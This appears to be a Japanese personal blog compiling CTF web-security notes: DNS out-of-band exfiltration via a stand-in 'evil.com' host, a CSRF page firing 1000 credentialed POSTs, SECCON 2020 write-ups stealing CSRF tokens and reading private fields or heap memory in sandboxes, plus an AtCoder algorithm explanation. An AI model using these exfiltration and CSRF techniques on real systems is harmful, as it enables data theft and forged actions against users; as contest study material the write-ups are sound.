はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるDNS問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

DNS

DNS Rebinding

OOB抽出

  • 表記について
    • リアルワールドバグハンティングではOOB抽出と記載されていた
    • Web上では、OOB ExploitationやらOOB Exfiltrationやら曖昧
  • OOBとは
    • レスポンスの応答がないがSSRFできるような場面で情報を抜き出す手法
      1. SSRFをして抜き出したい情報を掴む
      1. base32エンコードをしてpayloadを作る(URLは英数字しか入れられないからbase32にする)
      1. DNSサーバを用意する evil.com
      1. nslookup payload.evil.comすると、DNS解決をしに行くので、payload込みでevil.comに情報が送られて流出する
    • unixならhostコマンド?
  • Lab: Blind OS command injection with out-of-band data exfiltration | Web Security Academy

Subdomain Takeover

tips

Practicalな話

実装時に気を付けること

todo

(CTFじゃ使えないけど)テストツール

todo

WebセキュリティにおけるSSRF,CSRF問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

SSRF, CSRF

SSRF

攻撃窓口

狙われる情報

対策

https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html
https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/

メモ

CSRF

目的のURLを1000回踏ませることができるコード

<html><script>
    async function go() {
        var xhr = new XMLHttpRequest()
        xhr.open("POST","https://example.com/buy", true);
        xhr.withCredentials = true;
        xhr.setRequestHeader("Content-Type","text/plain");
        xhr.send(JSON.stringify({"id":"XXXXXXXXXXXXXXXX"}));
    }
    for (var i = 0; i < 1000; i++) {
        go();
    }
</script></html>

CORSがあるので、結果は取得できないが、踏ませることはできる。

テク

CTF Writeups

Practicalな話

実装時に気を付けること

(CTFじゃ使えないけど)テストツール

Milk [SECCON 2020 Online CTF]

Milk
Sadly not every developer is well posted in the cutting-edge technologies, so sometimes bizarre interface is driven under the hood.
https://milk.chal.seccon.jp/
milk.tar.gz
Update(2020/10/10 17:38): We disclosed a part of our crawler as a hint. crawl.js

調査

適当にログインユーザーを作ってログインしてみると、memoryが残せる機能が提供される。
適当に文字を入れてsubmitしてみると、/note/なんらかのIDに飛ばされてREPORT-TO-ADMINとなる。
ログイン情報はusernameとしてLocal Storageで保存されている。
とりあえず了解。

HTTPレスポンスを見てみる。
X-Powered-By: PHP/7.4.11

Cookie使ってないと思ったら、違うドメインCookie使われてた。

set-cookie: username=evilman2020; path=/; SameSite=None; Secure; httponly
set-cookie: username.sig=X4lZeL2gNWApCNPJqMhaW2whtR3UwFAVSsX6tw6pYQA; path=/; SameSite=None; Secure; httponly

ソースコード見てみる

nginx.conf

add_header Content-Security-Policy "default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-api.chal.seccon.jp; script-src 'self' https://milk-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-xynbUFfxov/jB5OqYtvdEP/YBByczVOIsuEomUHxc0U=';" always;

adminに見せるサイトにはCSPがかかっている。

api/notes.ts

router.get('/flag', async (ctx) => {

ここへ誘導して、出力を受け取ればいいらしい。
適当な所でawait api('/notes/flag');してみると、403エラーになる。OK

XSSを試すが、どこでも何もしていない。
でもやってみるとhtmlが発火しない。
よくわからない。
document.getElementById('body').textContent = data.note.body;
jsのこの段階のdata.note.bodyにもタグがそのまま入っている。

Node.textContent - Web API | MDN

そうなのか、textContentを使えばHTMLとして解析されないのか。
ほほう。
適当に<s>test</s>という名前のユーザーを作ってみたが、これもダメ。
んー、どう見ても怪しいLocalStorageを使うんだろうなぁとは思うが…

そもそも、/notes/flagを参照しようにも、トークンが無いからトークン用意から何とかしてやらんといかんな…

Writeups

やっと理解できた…
ちゃんと試すべきなんだけど、試すのめんどいな…

CSRFトークンを奪う

以下の流れで攻撃を行う。

  1. adminにCSRFトークン発行URLを踏ませる
  2. 手順1で踏ませたCSRFトークンを取得して、それを使って/notes/flagを読み取る

「手順1で踏ませたCSRFトークンを取得」の部分だが、これはAPIについてはキャッシュが効いているので、それを利用する。
つまり、adminに踏ませた全く同じURLを再度こちらでも呼べば、同じCSRFトークンが得られる事になる。
手順を細分化しよう。

  1. adminにCSRFトークン発行URLを踏ませる
  2. 手順1で踏ませたURLを再度リクエストして、キャッシュされたCSRFトークンを取得する
  3. 取得したCSRFトークンを使って/notes/flagを読み取る

手順1について

手順1であるが、https://milk-api.chal.seccon.jp/csrf-token?_=XXXXXXXXXXXXXのようなURLを踏ませれば良さそう。
試しに自分で踏んでみると、Referer header is not setと言われてしまう。
誰に止められているんだろうか。

index.tsにバリデーションがあった。
なるほど、これか。
Refererの偽装はできないので、何とかならないか…

// Referer validation
app.use(async (ctx, next) => {
  const referer = ctx.request.headers.get('referer');
  if (!referer) {
    ctx.response.body = 'Referer header is not set';
    ctx.response.status = 400;
    return;
  }

  // @ts-ignore
  const refererUrl = new URL(normalizeUrl(referer));
  if (refererUrl.host !== 'milk.chal.seccon.jp') {
    ctx.response.body = 'Bad Referer header';
    ctx.response.status = 400;
    return;
  }

  await next();
});

手順1改 adminに「意図した」CSRFトークン発行URLを踏ませる

note.phpを見ると、

<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>

とあり、GETリクエストで_を指定すると、任意のCSRFトークン発行URLを踏ませることができるようになっていた!!
なので、https://milk.chal.seccon.jp/notes/XXX?_=YYYとすると、
https://milk-api.chal.seccon.jp/csrf-token?_=YYYを踏みに行ってくれるので、
adminにCSRFトークン発行URLを踏ませて、
かつ、そのURLが分かる状況が生まれる。
なるほどー!!!

手順に立ち返ろう

  1. adminにCSRFトークン発行URLを踏ませる https://milk.chal.seccon.jp/notes/XXX?_=YYY
  2. 手順1で踏ませたURLを再度リクエストして、キャッシュされたCSRFトークンを取得する https://milk-api.chal.seccon.jp/csrf-token?_=YYY
  3. 取得したCSRFトークンを使って/notes/flagを読み取る

手順2で直接踏みに行ってReferer大丈夫という感じだが、キャッシュされたものを持ってきているので、バリデーションは走らず、問題ない。
あとは、奪ったCSRFトークンを使ってhttps://milk-api.chal.seccon.jp/notes/flagを踏む。
自分で踏む分にはRefererは偽装し放題なので、これでACだ!(htmlならタグでそんなやつがあったはず)

と思いきや

CSRFトークンはワンタイムパスワードで1度使ったら無効化されてしまう。
よって、手順1で踏ませて発行させてもすぐに使われて無効化されて、手順2で読み込んで手順3で使う頃には使えなくなっている。
なんとかならないか?

やり方1 レースコンディションで無理矢理使う

手順1を発行している裏で手順23を行う。
手順1でCSRFトークンが発行されたら、使われる前に手順23で使っちゃおうという作戦。
posix神はそれでやってる。 ここ

やり方2 CORSを上手く使う

想定解法。
手順1でCSRFトークン発行URLは踏ませるのだけれど、使われないようにする手段。
結論から言うと、https://milk.chal.seccon.jp./notes/XXX?_=YYY crossorigin=use-credentialsを踏ませる。

こうすることでCORSで付けているadd_header Access-Control-Allow-Origin https://milk.chal.seccon.jp always;が反応し、
https://milk.chal.seccon.jp.からのアクセスということで『異なる』と判断し、スクリプトの実行を止めてしまう。
止めるということはJSONPの応答が行われなくなり、結果、CSRFトークン発行URLは踏まれるが、使用されなくなる状況が生まれる。
あとは、ゆっくりキャッシュを拾って、フラグを取るだけ。

他のやり方

公式Writeupには他にもいくつかやり方が紹介されている。
どれも賢い。

  • charsetを指定することで応答されたスクリプトの中身をぐちゃぐちゃにして、実行させなくする方法
  • deferを上手く消して処理順を変更することで、コールバック関数の呼び出しを無効化する

全く違うアプローチ

オーソドックスにXSSする方法もある。
上でCORSを上手く使うやり方でも属性をXSSしていたが、CSPを上手くやり過ごしてjsを実行する方法もある。
公式Writeupここペイロードが紹介されている。
javascriptスキームを使う方法もある。

ちなみにMilk Revengeではソースコードのロジック変更は無く、crawl.jsだけが変更されていて、XSS解法を潰すような問題になっている。

finger-warmup (beginner) [DamCTF 2020]

finger-warmup (beginner)
babayet2
A finger warmup to prepare for the rest of the CTF, good luck!
You may find this or this to be helpful.
https://realpython.com/python-requests/
https://programminghistorian.org/en/lessons/intro-to-beautiful-soup
finger-warmup.chals.damctf.xyz

推測

アクセスするたびに違うURLに誘導される。
かつ、自動化を促されているような気がするので、自動でどんどん辿っていくようなpythonプログラムを書く。
すると、3000回目くらいで出力が変わるので、そこでフラグが手に入る。

import requests
import re
import time

url = 'https://finger-warmup.chals.damctf.xyz/'
tag = 's4eb0tykwwbpel4hwdc55'

for _ in range(101010):
    r = requests.get(url+tag)
    with open('res.txt', mode='a') as f:
        f.write(r.text + '\n')
    p = re.findall(r'<a href="(.*)">click here, if you are patient enough I will give you the flag</a>', r.text)
    tag = p[0]
    print(tag)
    time.sleep(1)

dam{I_hope_you_did_this_manually}
自動化しました…

Capsule [SECCON 2020 Online CTF]

Capsule
Genre: Web+Misc
https://capsule.chal.seccon.jp/
capsule.tar.gz

調査

ソースコードのdiffを取ってみると、実行環境側でTypeScriptが廃止されている。
jsコードでもprivate使えるのね…
こっちも何とか取ってこれないか?

class Flag {
  #flag;
  constructor(flag) {
    this.#flag = flag;
  }
}

一応console.log(flag.#flag);を試しておく。
SyntaxError: Private field '#flag' must be declared in an enclosing class
調べてくと、こういう記載もあるけれど…
tc39/proposal-class-fields: Orthogonally-informed combination of public and private fields proposals
console.log(flag['#flag']);もダメ

んー、分からん!

Writeups

作者の解説をもとに復習した。

V8のInspector API経由で盗み見る

Node.jsのInspectorAPIを使えば、privateでも引っ張ってこれる。
InspectorはNode.jsのbuild-inライブラリらしい。
Inspector | Node.js v14.13.1 Documentation
こことかを見ると、デバッグ用でヒープとかも見れるので、確かにprivateプロパティも見れちゃいそうな気もする。

SECCON 2020 Online CTF - Capsule & Beginner’s Capsule - Author’s Writeup - HackMD
本家

global.flag = flag;
const inspector = require('inspector');
const session = new inspector.Session(); # inspectorはセッションを作る必要がある
session.connect();
session.post('Runtime.evaluate', {expression: 'flag'}, (e, d) => {
  session.post('Runtime.getProperties', {objectId: d.result.objectId}, (e, d) => {
    console.log(d.privateProperties[0].value.value);
  });
});

Runtime.evaluate?
https://chromedevtools.github.io/devtools-protocol/v8/Runtime/#method-evaluate
ほうほう。node.jsというより背後のV8エンジンに対してという雰囲気っぽい。
このドキュメントはChromeDevToolsProtocolではあるが、それ経由でV8エンジンを呼ぶときのドキュメントだと思う。
V8エンジンはよくわからんけど、共通基盤ってイメージだったら、V8のリファレンスもそりゃあるか。

このコードの意味は上記のドキュメントと突き合わせば何となく分かるけど、ゼロから作るのはきついな…
Discussion: private fields and util.inspect · Issue #27404 · nodejs/node
紹介されているここを参考にすればいけるか。
グローバル空間は共有するようでglobal.flag = flag;と一旦グローバルに置いてから、'flag'をevalする必要がある。
ふむふむ。

Hoistingを利用する

他の人の解法でも見かけたやり方。

const fs = require('fs');
...
function require() {
  const fs = process.mainModule.require('fs');
  console.log(fs.readFileSync('flag.txt').toString());
}

こんな風にやると、js特有のHoistingでrequire('fs')実行時に指定の関数が呼ばれて、exploitできる。
話は聞いていたけど、定義済みの関数でも書き換えが起こるの?
そんなのhackし放題では?

function f() { console.log('pre'); }
f();
function f() { console.log('post'); }

を実行してみると

$ node sample.js
post

マジ?確かに先頭で取得できれば、まだ制限もないし、消されてもないから参照できるわけね…

メモリをぶっこ抜く

V8 | Node.js v14.13.1 Documentation
V8ライブラリというのもあり、中身を見てみるとヒープが参照できることが分かる。

const v8 = require('v8');
const memory = v8.getHeapSnapshot().read();
console.log(memory.toString());

これだけで全部出る。
だが、これをやると5sでタイムアウトするので、紹介されている解法ではsliceを上手く使って、フラグ部分だけを抜き出して見せている。

実際にどんな中身なのか見てみたいので先頭1000文字くらいを出してみる。

{"snapshot":{"meta":{"node_fields":["type","name","id","self_size","edge_count","trace_node_id"],"node_types":[["hidden","array","string","object","code","closure","regexp","number","native","synthetic","concatenated string","sliced string","symbol","bigint"],"string","number","number","number","number","number"],"edge_fields":["type","name_or_index","to_node"],"edge_types":[["context","element","property","internal","hidden","shortcut","weak"],"string_or_number","node"],"trace_function_info_fields":["function_id","name","script_name","script_id","line","column"],"trace_node_fields":["id","function_info_index","count","size","children"],"sample_fields":["timestamp_us","last_assigned_id"],"location_fields":["object_index","script_id","line","column"]},"node_count":29431,"edge_count":122322,"trace_function_count":0},
"nodes":[9,1,1,0,12,0
,9,2,3,0,23,0
,9,3,5,0,1,0
,9,4,7,0,78,0
,9,5,9,0,555,0
,9,6,11,0,75,0
,9,7,13,0,0,0
,9,8,15,0,0,0
,9,9,17,0,151,0
,9,10,19,0,5,0
,9,11,21,0,0,0
,9,12,

あれ?なんか想像と違う。
まあ、細かいことはいいか。

Beginner's Capsule [SECCON 2020 Online CTF]

Beginner's Capsule
warmup
Genre: Web+Misc
https://beginners-capsule.chal.seccon.jp/
beginners_capsule.tar.gz

調査

ソースコードを見る前にBurp SuiteとChromeデベロッパーツールを立ち上げて、挙動確認してみる。
試しにconsole.log(flag.#flag);としてみる。

error TS18013: Property '#flag' is not accessible outside class 'Flag' because it has a private identifier.

TypeScript3.8の新機能でハードプライベートというらしい。
ブラウザ毎に対応状況に差があるらしいが、TSはサーバ側だから特に関係ないだろう。

console.log(fs.readFileSync('flag.txt').toString());
一応やってみたけどfs.unlinkSync('flag.txt');があるので、なにも出てこない。
後々、それだけが原因でないことは分かる。

コードを実行させるときは以下のjsを使っている。
POSTでコードとCSRFトークンを渡して実行している。

const res = await fetch('/', {
  method: 'post',
  body: `code=${encodeURIComponent(code)}&token=${encodeURIComponent(token)}`,
}

ソースコードみてみる

runner.ts

const LIB = `
module.exports.enableSeccompFilter = () => {
  const {
    SCMP_ACT_ALLOW,
    SCMP_ACT_ERRNO,
    NodeSeccomp,
    errors: {EACCESS},
  } = require('node-seccomp');

  const seccomp = NodeSeccomp();

  seccomp
    .init(SCMP_ACT_ALLOW)
    .ruleAdd(SCMP_ACT_ERRNO(EACCESS), 'open')
    .ruleAdd(SCMP_ACT_ERRNO(EACCESS), 'openat')
    .load();

  delete require.cache[require.resolve('node-seccomp')];
};
`;

とある。与えられたコードの実行前に呼ばれている関数の中身であるが、openとかのカーネルコールが抑止されている。
console.log(fs.readFileSync('lib.js').toString());の応答がないのはそのせいか。

import * as cp from 'child-process';cp.exec(ls, (err, stdout, stderr) => { if (err) { console.log(err); } else { console.log(stdout); }});
適当に拾ってきたRCEコードを投げてみる。
index.ts(18,21): error TS2307: Cannot find module 'child-process' or its corresponding type declarations.
ないかー

fs.readdir('./', function (err, files) { if (err) { console.log('error'); } for (var file in files) { console.log(file); } });
これもerrorになる…ぐぬぬ

メタ読み

次回作のCapsuleでは脱tsをしている。
きっと、tsからjsへトランスパイルするときになんか脆弱な部分が出てくるんだろう。
tsconfig.jsonを詳しく読んでみる

{
  "compilerOptions": {
    "target": "ES2015", // ECMAScript Private Fieldsは使える版数
    "allowJs": true,    // jsファイルを許容するか(これは大丈夫そう)
    "esModuleInterop": true,  // あんましピンと来ないが、exportとかrequireとか統一されてないいつものアレを何とかしてくれる。requireを使わなくてもimportでやれる感じ?
    "skipLibCheck": true  // *.d.tsのチェックをスキップする。これも大丈夫そう…
  }
}

なんもないじゃん…

トランスパイル後を見てみる

TypeScript: TS Playground - An online editor for exploring TypeScript and JavaScript
ここを使ってトランスパイル後を見てみよう。

class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
}

var flag = new Flag('ab');

これが、こうなる。

"use strict";
var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, privateMap, value) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to set private field on non-instance");
    }
    privateMap.set(receiver, value);
    return value;
};
var _flag;
class Flag {
    constructor(flag) {
        _flag.set(this, void 0);
        __classPrivateFieldSet(this, _flag, flag);
    }
}
_flag = new WeakMap();
var flag = new Flag('ab');

何となく_flagを上手く参照できれば、取れそうな雰囲気がある。
試しにアクセサを作ってみる。

class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
  getFlag() {
    return this.#flag;
  }
}

var flag = new Flag('ab');

これがjsでは

"use strict";
var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, privateMap, value) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to set private field on non-instance");
    }
    privateMap.set(receiver, value);
    return value;
};
var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, privateMap) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to get private field on non-instance");
    }
    return privateMap.get(receiver);
};
var _flag;
class Flag {
    constructor(flag) {
        _flag.set(this, void 0);
        __classPrivateFieldSet(this, _flag, flag);
    }
    getFlag() {
        return __classPrivateFieldGet(this, _flag);
    }
}
_flag = new WeakMap();
var flag = new Flag('ab');

ほうほう。そういう関数が作られるのね。上の関数を参考にして、Get関数を定義して、読んでみると中身が抜き取れる。

var __classPrivateFieldGet = function (receiver, privateMap) {
    return privateMap.get(receiver);
};
console.log(eval('__classPrivateFieldGet(flag, _flag)'));

SECCON{Player_WorldOfFantasy_StereoWorXxX_CapsLock_WaveRunner}

Lamps [HHKB プログラミングコンテスト 2020 E]

https://atcoder.jp/contests/hhkb2020/tasks/hhkb2020_e

前提知識

解説

https://atcoder.jp/contests/hhkb2020/submissions/17319314

初めて見る人には何から手を付けるべきか分からない問題であるように思う。
2K通りをすべて考えるのは不可能問題。
こういう時はどういうテクを使えばいいだろうか。

主客転倒

「2K通りすべてについて、照らされているマスの総和を計算して、その総和を答える」という問題であるが、
主客転倒テクを使う。
「K通りのマスについて、そのマスが照らされる組み合わせを計算して、その総和を答える」と変換する。
主客転倒テクをやったことがない人はなんのことだかという感じであると思うが、知っていればそれほど難しくない。
分からない場合は、以下を読んで学ぼう。
あの〜、お詫びと言っては何ですけどちょっと数え上げでよく見るらしい「主客転倒」の解説今から書くんで… - physics0523's 精進ログ

これで全通りする部分が現実的な個数となった。

あるマスが照らされる組み合わせ

とあるマスが照らされる組み合わせを計算するにはどうすればいいだろう。
そのマスが照らされるには、そのマスから上下左右にある散らかっていないマスのいずれかに照明が置かれていればいい。
いずれかというのは少し計算が面倒なので、補事象を使おう。
全体から「そのマスから上下左右にある散らかっていないマスのいずれにも照明が置かれていない」を引いて計算することにする。
全体は2K通り。
「そのマスから上下左右にある散らかっていないマスのいずれにも照明が置かれていない」組合せは、
上下左右にある散らかっていないマスの個数をcnt個とすると、2K-cnt通りである。
これはcnt個の部分は照明が置かれていなくて、他は何でもいいからである。
よって、あとは「上下左右にある散らかっていないマスの個数」が分かれば答えが導ける。

上下左右にある散らかっていないマスの個数

これは二次元累積和と二分探索を使って計算できる。
二次元累積和を使ってある区間に含まれる散らかっていないマスの個数を高速に持ってこれるようにしておこう。
あとは、上下左右について二分探索を使って、選択している区間=散らかっていないマスの個数となるように伸ばせる区間の最大長を特定すれば、
上下左右にあるマスの個数が分かり、上下左右にある散らかっていないマスの個数を計算することができる。
この部分はより筋の良い方法がたぶんある。

int H, W;
string S[2020];
mint pr[4101101];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W;
    rep(y, 0, H) cin >> S[y];

    pr[0] = 1;
    rep(i, 1, 4101101) pr[i] = pr[i - 1] * 2;

    Ruisekiwa2D emp(W, H);
    int K = 0;
    rep(y, 0, H) rep(x, 0, W) if (S[y][x] == '.') emp.add(x, y, 1), K++;
    emp.build();

    mint ans = 0;
    rep(y, 0, H) rep(x, 0, W) if(S[y][x] == '.') {
        int cnt = 1;
        rep(d, 0, 4) {
            int ok = 1, ng = 2020;
            while (ok + 1 != ng) {
                int md = (ok + ng) / 2;
                if (emp.getTo(x, y, md, d) == md) ok = md;
                else ng = md;
            }
            cnt += ok - 1;
        }
        ans += pr[K] - pr[K - cnt];
    }
    cout << ans << endl;
}